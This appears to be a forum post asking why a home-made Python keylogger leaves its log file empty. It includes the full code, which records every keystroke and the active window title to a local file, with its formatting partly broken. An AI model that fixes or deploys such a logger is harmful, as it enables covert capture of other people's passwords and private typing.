The key logger i made in python is not logging the characters in the text file i specified. It just leaves it blank whenever I open it after the program .
Here is the code:
import win32gui
from datetime import date
from pynput.keyboard import Listener, Key
filename = "key_log.txt" # The file to write characters to
file = open(filename, 'a')
file.write(str(date.today()))
file.close()
def on_press(key):
window = win32gui.GetForegroundWindow()
active_win = win32gui.GetWindowText(window)
f = open(filename, 'a') # Open the file
f.write('
'+active_win)
if hasattr(key, 'char'): # Write the character pressed if available
f.write(''+key.char)
else: # If anything else was pressed, write [<key_name>]
f.write('[' + key.name + ']')
f.close() # Close the file
with Listener(on_press=on_press) as listener: # Setup the listener
listener.join() # Join the thread to the main thread
与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…